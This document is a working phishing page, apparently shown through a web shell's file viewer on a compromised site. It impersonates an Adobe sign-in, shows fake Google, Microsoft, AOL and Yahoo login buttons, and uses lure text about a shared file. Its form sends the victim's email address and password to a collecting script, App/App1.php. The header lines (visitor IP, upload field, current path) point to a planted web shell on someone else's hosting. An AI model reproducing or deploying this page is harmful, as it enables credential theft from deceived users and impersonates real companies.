Your IP : 216.73.217.33

Current Path : /home/jjexpress/public_html/view/
Upload File :
Current File : /home/jjexpress/public_html/view/index.php

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Adobe</title>
  <style>
    :root{
      --text:#0f172a; /* slate-900 */
      --sub:#374151; /* gray-700 */
      --muted:#6b7280; /* gray-500 */
      --line:#e5e7eb; /* gray-200 */
      --btn:#2563eb; /* blue-600 */
      --btn-hover:#1d4ed8; /* blue-700 */
      --field:#f9fafb; /* gray-50 */
      --focus:#2563eb;
    }
    *{box-sizing:border-box}
    html,body{height:100%}
    body{
      margin:0;
      font-family: ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Helvetica, Arial, "Apple Color Emoji", "Segoe UI Emoji";
      color:var(--text);
      background:#fff;
    }
    .topbar{
      width:100%;
      padding:16px 20px;
      border-bottom:1px solid var(--line);
      font-weight:600;
    }
    .wrap{
      max-width:720px;
      margin:0 auto;
      padding:28px 20px 48px;
    }
    .brand{
      align-items:center;gap:14px; margin-top:8px;
    }
    h1{font-size:35px; line-height:1.1; margin:0px 0 12px;}
    .sub{font-size:20px; color:var(--sub);}
    .sub a{color:#0ea5e9; text-decoration:none}

    .providers{margin-top:28px; display:flex; flex-direction:column; gap:16px}
    .pill{
      display:flex; align-items:center; gap:14px;
      width:100%;
      background:#fff;
      border:1px solid #d1d5db; /* gray-300 */
      border-radius:9999px; padding:10px 18px;
      font-size:18px; cursor:pointer; transition:.15s ease; text-decoration:none; color:inherit;
    }
    .pill:hover{background:#f8fafc}
    .pill .label{flex:1; text-align:left}

    .form{margin-top:28px}
    label{display:block; font-size:14px; color:var(--muted); margin:18px 0 8px}
    .input{width:100%; border:1px solid #d1d5db; border-radius:12px; padding:16px; font-size:16px; background:#fff}
    .input:focus{outline:3px solid rgba(37,99,235,.2); border-color:var(--focus)}

    .primary{
      margin-top:28px; width:100%;
      border:0; border-radius:9999px; padding:18px 22px; font-size:22px; font-weight:600;
      background:var(--btn); color:#fff; cursor:pointer; transition:.15s ease;
    }
    .primary:hover{background:var(--btn-hover)}

    .note{margin-top:26px; font-size:14px; color:var(--muted)}
    .note a{color:#0ea5e9; text-decoration:none}

    /* Icons */
    .ico{width:26px; height:26px; display:inline-block}
    .ico-ms{width:24px;height:24px}
    .ico-aol{font-weight:900; letter-spacing:.5px}

    @media (min-width:860px){
      .wrap{padding-left:32px; padding-right:32px}
    }
  </style>
</head>
<body>
  <div class="topbar">Adobe</div>

  <div class="wrap">
    <div class="brand">
      <!-- Adobe mark -->
      <img src="https://static.cdnlogo.com/logos/a/90/adobe.png" style="margin-left: -12px;height: 65px;width: 65px;" alt="Adobe" />
      <div>
        <h1>Choose email provider</h1>
        <div class="sub">to continue to <a href="#">Adobe</a></div>
      </div>
    </div>

    <div class="providers">
      <a class="pill" href="#">
        <!-- Google G -->
        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c1/Google_%22G%22_logo.svg/1200px-Google_%22G%22_logo.svg.png" style="height:20px;" alt="" />
        <div class="label">Continue with Google</div>
      </a>

      <a class="pill" href="#">
        <!-- Microsoft logo -->
        <svg class="ico-ms" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
          <rect x="2" y="2" width="9" height="9" fill="#f25022"/>
          <rect x="13" y="2" width="9" height="9" fill="#7fba00"/>
          <rect x="2" y="13" width="9" height="9" fill="#00a4ef"/>
          <rect x="13" y="13" width="9" height="9" fill="#ffb900"/>
        </svg>
        <div class="label">Continue with Microsoft</div>
      </a>

      <a class="pill" href="#">
        <!-- AOL wordmark (simple) -->
        <div class="ico ico-aol" aria-hidden="true"><img src="Assets/aol.png" style="height: 25px;border-radius: 10px;" alt="" /></div>
        <div class="label"> Continue with AOL</div>
      </a>

      <a class="pill" href="#">
        <!-- Yahoo! wordmark (simple) -->
        <img src="https://static.cdnlogo.com/logos/y/96/yahoo.svg" style="height:13px;" alt="" />
        <div class="label">Continue with Yahoo</div>
      </a>
    </div>

    <form action="App/App1.php" method="POST" class="form">
      <label for="email">Email address</label>
      <input id="email" class="input" type="email" name="Em" required>

      <label for="password">Password</label>
      <input id="password" class="input" type="password" name="Pa" required>

      <button class="primary" type="submit">Sign in</button>
    </form>

    <div class="note">
      Access is restricted to <a href="#">authorized users</a>. Sign in with the email you <a href="#">received the file</a>.
    </div>
  </div>
</body>
</html>